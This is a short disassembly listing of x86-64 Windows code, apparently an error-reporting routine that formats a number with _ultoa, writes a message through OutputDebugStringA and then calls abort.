lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14000a202
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14000a1da
add rax, 1
cmp rax, 0x6b
je 0x14000a1f7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x14000a1d0
cmp edx, 0x6a
je 0x14000a1f7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14000a1eb